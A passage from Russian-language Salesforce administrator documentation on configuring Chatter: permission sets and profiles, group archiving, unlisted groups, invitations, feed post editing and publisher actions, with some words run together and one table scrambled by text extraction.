Пользователи могут изменять текущие и создавать новые наборы полномочий для
управления доступом к Chatter.

Ниже перечислены рекомендации по включению и выключению Chatter посредством
наборов полномочий.

• Наборы полномочий сохраняют преимущество над параметрами профиля
пользователяпривключении Chatter. Наборполномочий, поддерживающийдоступ
к Chatter, предоставляет доступ к Chatter всем соответствующимпользователям даже
при назначении им профиля, который не поддерживает Chatter.

• Наборы полномочий не сохраняют преимущество над параметрами профиля
пользователя при выключении Chatter. Профиль пользователя, поддерживающий
доступк Chatter, предоставляетдоступк Chatter всемсоответствующимпользователям
даже при назначении им набора полномочий, который не поддерживает Chatter.
Чтобы запретить пользователю доступ к Chatter, отключите Chatter как в профиле
пользователя, так и в наборе полномочий.

Проверьте текущие наборы полномочий на наличие соответствующих полномочий
Chatter для нужной группы пользователей.

1. Выполните вход в качестве администратора Salesforce.

2. Введите строку «Наборы полномочий» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Наборы
полномочий».

3. Выполните указанные ниже действия для каждого текущего набора полномочий пользователя.

a. Щелкните ссылку «Полномочия системы» в разделе «Система».

b. Нажмите кнопку «Правка» и установите флажок «Включение Chatter». Данное полномочие доступно только
организациям, включившимфункцию развертывания Chatter на основе профиля.
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c. Сохраните внесенные изменения.

4. При необходимости создайте наборы полномочий с нужными полномочиями и назначьте их пользователям. По
умолчанию все полномочия нового наборы полномочий выключены. Чтобы предоставить данные полномочия
соответствующим пользователям, рекомендуем включить перечисленные ниже полномочия Chatter в новом наборе
полномочий.

• «Создание и несение ответственности за новые группы Chatter» (ChatterOwnGroups)

• “Create and Share Content Deliveries for Chatter Files” (ChatterFileLink)

• «Приглашение клиентов в Chatter» (ChatterInviteExternalUsers)

• «Управление сообщениями Chatter» (ManageChatterMessages)

• «Модерирование Chatter» (ModerateChatter)

• «Модерирование лент Chatter» (ModerateNetworkFeeds)

• «Использование ленты обращений» (ViewCaseInteraction)

• «Просмотр всех данных» (ViewAllData)
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Прим.: Выборполномочия «Включение Chatter» внабореполномочийпользователянеинициируетавтоматическое
включение Chatter для данного пользователя. Chatterможет использоваться только послефактического включения
Chatter для организации.

СМ. ТАКЖЕ:

Подготовка к развертыванию Chatter на основе профиля

Управление доступом к Chatter посредством профилей

Параметры Chatter

Рекомендации по развертыванию на основе профиля

Рекомендации по развертыванию на основе профиля
Организации, использующиефункциюразвертывания Chatter на основе профиля, применяют некоторые ограничения
кпрофилям, наборамполномочийивзаимодействияммеждупользователями, которымдоступенилинедоступен Chatter.

• Параметр «Включение Chatter» доступен только организациям, включившимфункцию развертывания Chatter на
основе профиля.

• Наборы полномочий сохраняют преимущество над параметрами профиля пользователя при включении Chatter.
Набор полномочий, поддерживающий доступ к Chatter, предоставляет доступ к Chatter всем соответствующим
пользователям даже при назначении им профиля, который не поддерживает Chatter.

• Наборыполномочийнесохраняютпреимуществонадпараметрамипрофиляпользователяпривыключении Chatter.
Профиль пользователя, поддерживающий доступ к Chatter, предоставляет доступ к Chatter всем соответствующим
пользователям даже при назначении им набора полномочий, который не поддерживает Chatter. Чтобы запретить
пользователю доступ к Chatter, отключите Chatter как в профиле пользователя, так и в наборе полномочий.

• Выбор полномочия «Включение Chatter» в профиле или наборе полномочий пользователя не инициирует
автоматическое включение Chatter для организации. Включите Chatter для организации после изменения профилей
и наборов полномочий.

• Поумолчанию Chatter включаетсяавтоматическидлястандартныхпрофилей Salesforce. Chatter неможетбытьвыключен
для стандартных профилей.

• Нерекомендуемсниматьфлажок «Включение Chatter» дляклонированногопрофиля «Внешнийпользователь Chatter».
В противном случае пользователь получит сообщение об ошибке и не сможет выполнить вход в приложение.

• Нерекомендуемсниматьфлажок «Включение Chatter» для клонированногопрофиля «Пользователь Chatter Free» или
«Модератор Chatter». В противном случае вы получите сообщение об ошибке и не сможете сохранить профиль.

• Включение функции развертывания Chatter на основе профиля и поддержки Chatter для организации инициирует
включение набора зависимых полномочий Chatter. Данные полномочия выключаются при выключении Chatter для
организации. Тем не менее повторное включение Chatter не инициирует автоматическое включение данных
полномочий, поэтому они должны быть напрямую включены администратором.

• Привключениифункцииразвертывания Chatter наосновепрофиля Chatter включаетсяавтоматическидлястандартных
профилей. Chatter включается автоматическидля всехнастраиваемыхпрофилейинаборовполномочий, приусловии
что одно из указанных ниже полномочий пользователя уже включено вручную или как часть лицензии.

– «Создание и несение ответственности за новые группы Chatter» (ChatterOwnGroups)

– «Создание и публикация ссылок на файлы Chatter» (ChatterFileLink)

– «Приглашение клиентов в Chatter» (ChatterInviteExternalUsers)
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– «Управление сообщениями Chatter» (ManageChatterMessages)

– «Модерирование Chatter» (ModerateChatter)

– «Модерирование лент Chatter» (ModerateNetworkFeeds)

– «Использование ленты обращений» (ViewCaseInteraction)

– «Просмотр всех данных» (ViewAllData)

• При наличии доступа к Chatter пользователи организаций, поддерживающих Work.com, не могут благодарить
пользователей, которым недоступен Chatter.

• Если Chatter ужеустановлендлявашейорганизацииипроисходитпереключениекразвертываниюнаосновепрофиля,
отключите его вручную для всех существующих настраиваемых профилей и наборов полномочий. В противном
случае пользователи, которым назначены эти профили и наборы полномочий, лишатся доступа к Chatter.

Параметры Chatter

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Developer
Edition и Database.com
Edition.

В приложениях Salesforce и Salesforce1 Chatter включен по умолчанию. На странице
«Параметры Chatter» вменю «Настройка» можнонастраиватьразличныефункции Chatter
в соответствии с потребностями пользователей.

• Введитестроку «Chatter» вполе «Быстрый поиск» ивыберитепункт «Параметры
Chatter», чтобы перейти к странице «Параметры Chatter».

• Чтобы отключить Chatter для всей организации, снимите флажок рядом с полем
«Включить в разделе «Параметры Chatter».

Параметры группы Chatter

Группы позволяют настраивать такие функции, как архивирование групп, записи в
группах и неуказанные группы. Группы Chatter — это основное пространство для
сотрудничества в Chatter, позволяющее пользователям обмениваться информацией, публиковать обновления и
задавать вопросы.

Включение смайликов в ленте
Смайликипозволяютпользователямнаполнять сообщенияикомментарииэмоциями (например, улыбка) путемввода
комбинации символов.

Клиентские приглашения
Разрешите пользователям приглашать клиентов в личные собственные или управляемые группы. Клиенты — это
пользователи, находящиеся за пределами корпоративных доменов электронной почты. Клиентам предоставляется
узкоограниченныйдоступк сети Chatter, поэтомуонимогутпросматриватьивзаимодействовать с участникамитолько
тех групп, в которые они были приглашены.

Рабочие приглашения
Приналичиисоответствующихразрешенийпользователи Salesforce могутприглашатьколлег, неимеющихлицензий
Salesforce, в сеть Chatter. Приглашенные пользователи могут иметь доступ к людям, группам, профилям и файлам
Chatter, тогда как записи доступны им только при наличии лицензии Salesforce.

Включение действий в публикаторе
Преждечемдобавить глобальныедействия впубликатор, рекомендуемвключитьфункцию «Действия впубликаторе»
настранице «Параметры Chatter». Действиярасширяютфункциональныевозможностипубликатора Chatter ипозволяют
пользователям выполнять дополнительные действия в системе Salesforce и приложении Salesforce1.
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Общие сведения о функции редактирования сообщений и комментариев ленты
Благодаряфункции редактирования сообщений ленты, пользователи могут редактировать собственные сообщения
ленты. Ответственные за записи могут также редактировать любые сообщения для собственных записей, включая
сообщения, созданные другими пользователями.

СМ. ТАКЖЕ:

Chatter

Параметры группы Chatter

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Группы позволяют настраивать такие функции, как архивирование групп, записи в
группах и неуказанные группы. Группы Chatter — это основное пространство для
сотрудничества в Chatter, позволяющее пользователям обмениваться информацией,
публиковать обновления и задавать вопросы.

Архивирование групп Chatter

Архивирование групп включено для организации по умолчанию. Автоматическое
архивирование групп выполняется при отсутствии новых сообщений ленты или
комментариев в течение 90 дней. Если данный параметр включен, проверка групп
на наличие действий ленты выполняется еженедельно.

Включение записей в группах Chatter

Записиподдерживаютсягруппамипоумолчанию. Чтобыразрешитьпользователям
добавление записей в группы, дополните публикатор группы действием «Добавить
запись».

Включение неуказанных групп Chatter

ЧтобыразрешитьпользователямболееконфиденциальноесотрудничествовChatter, включитеподдержкунеуказанных
групп для организации.

Ограничения для неуказанных групп
Прежде чем включить неуказанные группы в организации, просмотрите применяемые ограничения.

Архивирование групп Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Архивирование групп включено для организации по умолчанию. Автоматическое
архивирование групп выполняется при отсутствии новых сообщений ленты или
комментариев в течение 90 дней. Если данный параметр включен, проверка групп на
наличие действий ленты выполняется еженедельно.

Упоминание группы не считается действием ленты, поэтому не задерживает
архивирование группы. Архивные группы учитываются ограничениями по количеству
групп организации (30,000), но не учитываются ограничениями для состава участников
группы (300).

Дополнительные параметры архивирования группы можно просмотреть на странице
параметров группы. На этой странице ответственныеименеджерымогут архивировать,
активировать и редактировать параметры автоматического архивирования для своих
групп. Чтобы изменить параметры пакетного архивирования групп, воспользуйтесь
интерфейсом Salesforce API.
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Если организации не требуется архивирование групп, отключите эту функцию в меню «Настройка». Введите строку
«Chatter» в поле «Быстрый поиск», откройте раздел «Параметры Chatter» и снимите флажок рядом с полем
«Разрешить архивирование групп» в разделе «Группы».

Прим.: Чтобы разрешить менеджерам и ответственным за группы архивирование, активацию и выключение
автоматического архивирования групп из приложения Salesforce1 и в Lightning Experience, настройте макет группы
и добавьте необходимые поля.

СМ. ТАКЖЕ:

Макеты группы

Включение записей в группах Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Записи поддерживаются группами по умолчанию. Чтобы разрешить пользователям
добавление записей в группы, дополните публикатор группы действием «Добавить
запись».

Действие «Добавить запись» в публикаторе группыпозволяет пользователям добавлять
записи организаций, контактов, интересов, возможностей, контрактов, кампаний,
обращений и настраиваемых объектов в группы. По умолчанию действие «Добавить
запись» недоступно, поэтому должно быть добавлено в публикатор группы
самостоятельно.

Просмотретьобзор: Разрешениепользователямдобавлятьзаписив группыChatter

Рекомендуем также настроить макеты объектов для добавления связанного списка
«Группы» на страницы сведений о записях. Настройте макеты для всех стандартных и
настраиваемых объектов организации, поддерживающих взаимосвязи между группой
и записью. Связанный список «Группы» позволяет пользователям просматривать список групп, связанных с записью.

Просмотреть обзор: Добавление связанного списка «Группы» в записи

Чтобы запретить пользователям добавление записей в группы, введите строку «Chatter» в поле «Быстрый поиск»
меню «Настройка», выберите пункт «Параметры Chatter» и снимите флажок «Разрешить записи в группах» в
разделе «Группы». Выключениефункцииинициирует сокрытие списка «Записи группы» на странице сведений о группе
и удаление действия «Добавить запись» из публикатора группы.

СМ. ТАКЖЕ:

Настройка макета групп и публикатора Chatter
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Включение неуказанных групп Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения полномочия
для профилей:
• «Настройка

приложения»

Чтобы разрешить пользователям более конфиденциальное сотрудничество в Chatter,
включите поддержку неуказанных групп для организации.

По сравнению с личными группами неуказанные группы являются более
конфиденциальными. Неуказанные группы доступны только участникам группы и
пользователям с полномочием «Управление неуказанными группами» в списковых
представлениях, лентах и результатах поиска. По умолчанию неуказанные группы
недоступны для организации. Просмотрите ограничения, действующие в отношении
неуказанных групп, прежде чем подключить эту функцию для организации.

1. Введите строку «Chatter» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Параметры Chatter».

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить неуказанные группы».
Данное действие инициирует отображение сообщения, содержащего важную
информацию о включении неуказанных групп в организации.

4. Установите флажок напротив строки «Я хочу включить неуказанные группы и
понимаюнеобходимостьобновлениякода Apex/Visualforce вмоейорганизации»
в выделенном сообщении.

5. Нажмите кнопку «Сохранить».

Неуказанная группа может быть создана любым пользователем. В отличие от личных
групп, пользователи с полномочием «Просмотр всех данных» или «Изменение всех
данных» могутпросматриватьилиобновлятьнеуказанные группытолькопосле добавления в качестве участников. Чтобы
разрешить просмотр и изменение неуказанных групп пользователям, которые не являются участниками, назначьте им
полномочие «Управление неуказанными группами» посредством профиля или набора полномочий.

СМ. ТАКЖЕ:

Ограничения для неуказанных групп

Общие сведения о неуказанных группах

Ограничения для неуказанных групп

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Прежде чем включить неуказанные группы в организации, просмотрите применяемые
ограничения.

Для администраторов

• Просмотр или изменение неуказанных групп, их файлов и содержимого ленты без
добавления в качестве участников доступно только пользователям с полномочием
«Управление неуказанными группами».

• Пользователи с полномочием «Изменение всех данных» могут удалять содержимое
ленты только из неуказанных групп со своим участием.

• Пользователи с полномочием «Экспорт данных» могут экспортировать все данные
Chatterипросматривать экспортированные сообщения или комментариииз любой
группы, независимо от наличия полномочия «Управление неуказанными группами».
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• Полномочие «Управлениенеуказаннымигруппами» неможетбытьназначенопользователямChatter External, массового
портала или массового клиентского портала.

• Неуказанные группы учитываются ограничением по количеству групп пользователя, но отображаются в списке
«Группы» на странице профиля пользователя только в том случае, если пользователь, просматривающий список,
является участникомданных группилиобладаетполномочием «Управлениенеуказаннымигруппами». Взависимости
от полномочий пользователя, просматривающего список, наличие скрытых неуказанных групп может влиять на
точность количества, отображаемого напротив списка «Группы».

Для разработчиков

Код Apex выполняется в системном режиме, не принимая во внимание полномочия текущего пользователя. Данное
ограничение влияет на страницы, созданные посредством кода Apex.

• Страницы Visualforce, отображающие группы, могут предоставлять доступ к неуказанным группам темпользователям,
которые не являются их участниками.

• Ввиду игнорирования полномочий пользователя системным режимом, все пользователи, которые просматривают
страницу Visualforce, отображающую неуказанную группу, могут действовать от имени ответственного за данную
группу.

• Приложения AppExchange, созданныепосредствомкода Apex иимеющиедоступко всем группам, будутпредоставлять
доступ к неуказанным группам тем пользователям, которые не являются их участниками.

Ниже перечислены рекомендации по ограничению и управлению доступом к неуказанным группам.

• Отфильтруйте неуказанные группы из запросов SOQL во всем коде Apex.

• Чтобы дополнительно ограничить доступ к неуказанным группам, воспользуйтесь наборами полномочий,
полномочиями профиля и проверками общего доступа в коде.

• Чтобыотслеживатьи управлятьпроцессомсозданиянеуказанных групп, воспользуйтесь триггерами Apex дляобъекта
CollaborationGroup. Введите строку «Триггеры группы» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт
«Триггеры группы» для их добавления.

СМ. ТАКЖЕ:

Включение неуказанных групп Chatter

Общие сведения о неуказанных группах
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Включение смайликов в ленте

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения смайликов:
• «Настройка

приложения»

Смайлики позволяют пользователям наполнять сообщения и комментарии эмоциями
(например, улыбка) путем ввода комбинации символов.

Смайлики не поддерживаются приложением Salesforce1.

1. Введите строку «Параметры Chatter» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры Chatter».

2. Установите флажок «Разрешить смайлики» в разделе «Смайлики в ленте».

Ниже перечислены комбинации символов, поддерживаемые системой Salesforce в
сообщениях и комментариях.

СмайликКомбинации символов

 (улыбка)• :)

• :-)

 (язык)• :P

• :-P

• :p

• :-p

 (грусть)• :(

• :-(

 (недовольство)• >:(

• >:-(

 (плач)• :((

• :'(

• :'-(
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Клиентские приглашения

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Developer
Edition и Database.com
Edition.

Salesforce CRM,
утверждения, электронные
уведомления Chatter,
приглашения Chatter и
клиентские приглашения
недоступны в версии
Database.com Edition.

Разрешитепользователямприглашатьклиентоввличныесобственныеилиуправляемые
группы. Клиенты — это пользователи, находящиеся за пределами корпоративных
доменов электронной почты. Клиентам предоставляется узко ограниченный доступ к
сети Chatter, поэтому они могут просматривать и взаимодействовать с участниками
только тех групп, в которые они были приглашены.

Клиентские приглашения не поддерживают настраиваемые домены, созданные
посредством функции «Мой домен», единую регистрацию и ограничения IP-адресов.
Чтобыразрешитьклиентскимприглашениямподдержкуданныхфункций, рекомендуем
выполнить одно из указанных ниже действий.

• Настройте страницу единой регистрации для организации посредством
дополнительной ссылки, направляющей пользователей на сайт
https://login.salesforce.com.

• Включите единую регистрацию для клиентов.

Клиентские приглашения включены по умолчанию. Чтобы отключить их, введите
строку «Chatter» в поле «Быстрый поиск» в меню «Настройка», выберите
«Параметры Chatter» и снимите флажок в поле «Разрешить отправку клиентских
приглашений» вразделе «Параметры Chatter». Отключениефункцииневедеткудалению
существующих клиентов или групп, которые могут приглашать клиентов.

СМ. ТАКЖЕ:

Рабочие приглашения

Можно ли объединить несколько организаций Salesforce с помощью сети Chatter?

Рабочие приглашения

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Developer
Edition и Database.com
Edition.

Salesforce CRM,
утверждения, электронные
уведомления Chatter,
приглашения Chatter и
клиентские приглашения
недоступны в версии
Database.com Edition.

Приналичии соответствующихразрешенийпользователи Salesforce могут приглашать
коллег, не имеющих лицензий Salesforce, в сеть Chatter. Приглашенные пользователи
могут иметь доступ к людям, группам, профилям и файлам Chatter, тогда как записи
доступны им только при наличии лицензии Salesforce.

Рабочиеприглашенияавтоматическивключеныдляновыхорганизаций Salesforce. Домен
электронной почты первого пользователя Salesforce, добавленного в организацию,
используетсяв качестведоменакомпаниивполе «Корпоративныедоменыэл. почты».
Поддержка приглашений не включается, если в качестве домена указана бесплатная
почтовая служба (например, yahoo.com или gmail.com).

Разрешается добавлять не более 200 доменов. Введите доменные имена, используемые
в адресах корпоративной электронной почты. Рекомендуем не указывать бесплатные
домены электронной почты (например, hotmail.com, yahoo.com или gmail.com). При
наличииприглашениялюбойпользователь, адресэлектроннойпочтыкоторогосодержит
один из этих доменов, может просмотреть профили, ленты и группы Chatter.

Чтобыотключитьрабочиеприглашения, введите строку «Chatter» вполе «Быстрый
поиск» в меню «Настройка», выберите «Параметры Chatter» и снимите флажок в
поле «Разрешить отправку рабочих приглашений» вразделе «Рабочиеприглашения».
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При снятии выбора пользователи больше не смогут принимать приглашения. Чтобы отменить дальнейшую отправку
приглашений с определенного домена, удалите нужный домен эл. почты.

СМ. ТАКЖЕ:

Клиентские приглашения

Включение действий в публикаторе

ВЕРСИИ

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения действий:
• «Настройка

приложения»

Прежде чем добавить глобальные действия в публикатор, рекомендуем включить
функцию «Действия в публикаторе» на странице «Параметры Chatter». Действия
расширяют функциональные возможности публикатора Chatter и позволяют
пользователям выполнять дополнительныедействия в системе Salesforce иприложении
Salesforce1.

1. Введите строку «Параметры Chatter» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры Chatter».

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить действия в публикаторе» в разделе «Действия в
публикаторе».

4. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Действия и макеты публикатора

Общие сведения о функции редактирования сообщений и
комментариев ленты
Благодаря функции редактирования сообщений ленты, пользователи могут редактировать собственные сообщения
ленты. Ответственные за записи могут также редактировать любые сообщения для собственных записей, включая
сообщения, созданные другими пользователями.

Для пользования функцией редактирования сообщений ленты нужно подключить один параметр Chatter и два
пользовательских разрешения.

Параметр «Разрешить пользователям редактирование сообщений и комментариев» на странице «Параметры Chatter» включает
или выключает функцию редактирования сообщений ленты для организации. По умолчанию он включен для всех
существующихиновыхорганизаций. Всепользователи, которымназначен стандартныйпрофиль, кромепользователей
Chatter Free, Chatter External и клиентского портала, могут редактировать собственные сообщения и комментарии.
Администраторы должны специально включать разрешения в настраиваемых профилях или наборах полномочий.

Полномочие «Редактирование моих собственных сообщений» позволяет пользователям редактировать собственные
сообщения. Данное полномочие доступно и автоматически включено для стандартных профилей, кроме профилей
«Пользователь Chatter External», «Пользователь Chatter Free» и «Пользователь клиентского портала». Чтобы разрешить
пользователям Chatter Free, Chatter External и клиентского портала редактировать сообщения, создайте копии профилей
и включите для них разрешение «Редактирование моих собственных сообщений». Назначьте копию профиля
соответствующему пользователю.

Полномочие «Редактированиесообщенийдлясобственныхзаписей» позволяетпользователямредактироватьсообщения
и комментарии для собственных записей, включая сообщения и комментарии других людей. Например, ответственный
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или менеджер группы может редактировать все сообщения в ленте группы. Менеджер отдельного вида записи может
редактироватьвсе сообщенияв этойзаписи. Данноеполномочиедоступнодля стандартныхинастраиваемыхпрофилей,
но по умолчанию выключено.

В данной таблице описываются полномочия и их стандартные параметры.

Стандартный параметрДоступно в профиляхОписаниеПолномочие
пользователя

Включено во всех новых и
текущих организациях

Стандартные профили, за
исключением

Данное полномочие
разрешаетпользователям
редактировать
собственныесообщения.

Редактирование моих
собственных сообщений

• Пользователь Chatter External

• Пользователь Chatter Free

• Пользователь массового
клиентского портала

• Профиль Partner Community User

Выключено во всех новых
и текущих организациях.

Настраиваемые профили

Выключено во всех новых
и текущих организациях.

Настраиваемые профилиДанное полномочие
разрешает

Редактирование
сообщений для
собственных записей Тем не менее, модераторы

Chatter, модераторы
ответственнымза записи
изменять собственные

сообществаипользователисообщенияисообщения
с полномочиемдругих пользователей,
«Изменение всех данных»опубликованные в
могут всегдаредактироватьгруппах и на страницах

сведений о записях. все сообщения и
комментарии.

Параметр «Разрешить пользователям редактирование сообщений и комментариев» на странице «Параметры Chatter» включен
по умолчанию. При наличии обязательных полномочий параметр «Правка» доступен посредством раскрывающегося
меню для сообщений, комментариев, вопросов и ответов. Данный параметр открывает отдельное окно редактирования,
позволяющее пользователям изменять текст.
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Послесохраненияотредактированнойверсиисообщенияотображаетсявременнаяотметкаредактирования, указывающая
на изменение исходного сообщения.

При упоминании новых людей или групп во время редактирования сообщения или комментария данным людям и
группамотправляются электронныеуведомления. Людиигруппы, упомянутыевисходномсообщениииликомментарии,
не получают новое электронное уведомление. Электронные уведомления для отредактированных сообщений или
комментариев отображают временную отметку редактирования.

Функция редактирования сообщений ленты доступна пользователям сообщества только при создании сообщества на
основе шаблона «Вкладки Salesforce + Visualforce» или «Napili». Параметр «Правка» не поддерживается системными
сообщениями (например, обновления записей, отслеживаемые лентой).

Включение функции редактирования сообщений ленты в профиле пользователя или наборах полномочий
По умолчаниюфункция редактирования сообщений ленты выключена для всех настраиваемых профилей. Чтобы
она стала доступна для пользователей, внесите изменения в их профили или добавьте набор полномочий.

Отключение редактирования сообщений ленты для всех пользователей
По умолчанию все пользователи, назначенные профилю, который содержит полномочия, необходимые для
редактирования сообщений ленты, могут редактировать сообщения и комментарии. При необходимости функция
редактирования сообщений ленты может быть выключена для всех пользователей организации, независимо от
назначенного профиля пользователя.

Включение функции редактирования сообщений ленты в профиле пользователя или наборах
полномочий

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания настраиваемых
профилей:
• «Управление

профилями и наборами
полномочий»

Назначение наборов
полномочий
• «Назначение наборов

полномочий»

По умолчаниюфункция редактирования сообщений ленты выключена для всех
настраиваемых профилей. Чтобы она стала доступна для пользователей, внесите
изменения в их профили или добавьте набор полномочий.

Ниже даны инструкции по назначению набора полномочий.

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий».

2. Выберите готовый набор полномочий или добавьте новый.

3. Нажмите кнопку «Правка» в разделе «Полномочия системы».

4. Выберите нужные полномочия.

• Чтобы разрешить пользователям, которым назначен данный настраиваемый
профиль, редактирование собственныхсообщенийикомментариев, установите
флажок «Редактирование моих собственных сообщений».

• Чтобыразрешитьпользователям, которымназначенданныйнастраиваемыйпрофиль, редактированиесообщений
и комментариев для собственных записей, включая сообщения и комментарии, опубликованные другими
пользователями, установите флажок «Редактирование сообщений для собственных записей».
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5. Нажмите кнопку «Сохранить».

6. Назначьте набор полномочий избранным пользователям.

Пример: Просмотреть обзор: «Назначение набора полномочий»

Отключение редактирования сообщений ленты для всех пользователей

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения или
выключения функций в
параметрах Chatter:
• «Настройка

приложения»

По умолчанию все пользователи, назначенные профилю, который содержит
полномочия, необходимыедляредактирования сообщенийленты, могутредактировать
сообщения и комментарии. При необходимостифункция редактирования сообщений
ленты может быть выключена для всех пользователей организации, независимо от
назначенного профиля пользователя.

1. Введите строку «Параметры Chatter» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры Chatter».

2. Нажмите кнопку «Правка».

3. Снимитефлажок «Разрешить пользователям редактирование сообщений и комментариев»
в разделе «Изменение сообщений и комментариев».

4. Нажмите кнопку «Сохранить».

Функция редактирования сообщений ленты выключается для всей организации. Пользователи не могут редактировать
сообщения и комментарии.

Действия и макеты публикатора

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Developer
Edition и Database.com
Edition.

Действия расширяютфункциональные возможности публикатора Chatter и позволяют
пользователям выполнять дополнительныедействия в системе Salesforce иприложении
Salesforce1.

Действия являются основой производительности. Действия позволяют пользователям
выполнять свою работу без лишних переходов, полей и временных затрат. Особенно
полезными действия оказываются в приложении Salesforce1, чей оптимизированный
для просмотра на мобильных устройствах интерфейс позволяет быстро создавать и
редактировать записи. По умолчанию публикатор Chatter отображает стандартные
действия «Сообщение», «Файл», «Ссылка», «Опрос» и «Вопрос».
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Приложение Salesforce1 отображает действия на панели действий, в связанном меню действий и в виде действий над
элементом списка.

Система поддерживает разные категории действий (например, стандартные действия, нестандартные действия, действия
по умолчанию, мобильные интеллектуальные действия, настраиваемые действия и продуктивные действия).

• Стандартные действия. Стандартные действия — это действия, добавляемые в публикатор автоматически при
включении Chatter (например, «Сообщение», «Файл», «Ссылка» и «Опрос»). Пользователимогут настраивать порядок
их отображения в публикаторе, но не могут редактировать их свойства.

• Нестандартныедействия. Нестандартныедействия — этодействия, создаваемыеинастраиваемыепользователями.

• Действия по умолчанию. Действия по умолчанию — это предопределенные действия, поддерживаемые системой
Salesforce. Чтобы предоставить пользователям доступ к данным действиям, добавьте их в макет публикатора.

• Мобильные интеллектуальные действия. Мобильные интеллектуальные действия — это набор стандартных
действий (например, действия по умолчанию). В приложении Salesforce1 мобильные интеллектуальные действия
позволяют пользователям создавать записи прямо в ленте.

• Настраиваемые действия. Настраиваемые действия — это страницы Visualforce или приложения холста,
поддерживающие заданные функции. Например, создайте настраиваемое действие, позволяющее пользователям
добавлять комментарии длиною более 5 000 символов.

• Продуктивные действия. Продуктивные действия — это предопределенные действия, поддерживаемые системой
Salesforce иприменяемыекорганизациям, контактам, событиям, интересам, пользователямипрофилямпользователей.
Продуктивные действия недоступны для редактирования или удаления.

Чтобыдополнитьпубликатордругимидействиямиилиизменитьпорядокихотображения, рекомендуемсначалавключить
действия в публикаторе на странице «Параметры Chatter» меню «Настройка».
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Создание глобальных макетов публикатора
Global publisher layouts determine the global actions that appear in the various Salesforce interfaces. In Salesforce Classic, these
layouts customize the actions in Chatter publishers on global pages (like the Home page) and on the Chatter page. Lightning
Experience uses these layouts to populate the Global Actions menu with Log A Call actions and Create a Record quick actions that
point to the Events, Notes, and Tasks objects. And in Salesforce1, these layouts drive the actions that appear in the action bar on the
Feed and People pages. Global publisher layouts can include global actions only.

Добавление действий для глобальных макетов публикатора
Действия, которые вы добавляете в глобальные макеты публикатора, появляются на таких страницах, как главная и
Chatter, а также на панели действий и в меню действий на страницах «Лента» и «Люди» приложения Salesforce1.

Создание глобальных макетов публикатора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Database.com Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания действий:
• «Настройка

приложения»

Для настройки макетов
действийимакетов страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Global publisher layouts determine the global actions that appear in the various Salesforce interfaces.
In Salesforce Classic, these layouts customize the actions in Chatter publishers on global pages (like
the Home page) and on the Chatter page. Lightning Experience uses these layouts to populate the
Global Actions menu with Log A Call actions and Create a Record quick actions that point to the
Events, Notes, and Tasks objects. And in Salesforce1, these layouts drive the actions that appear in
the action bar on the Feed and People pages. Global publisher layouts can include global actions
only.

1. Введитестроку «Макеты публикатора» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Макеты публикатора».

2. Чтобы создать глобальный макет публикатора, нажмите кнопку «Создать».

3. Чтобы клонировать макет публикатора, выберите нужныймакет в раскрывающемся
списке «Текущий глобальный макет публикатора».

4. Введите имя нового глобального макета публикатора.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Назначение глобальных макетов публикатора профилям пользователя

Глобальные макеты публикатора
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Добавление действий для глобальных макетов публикатора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
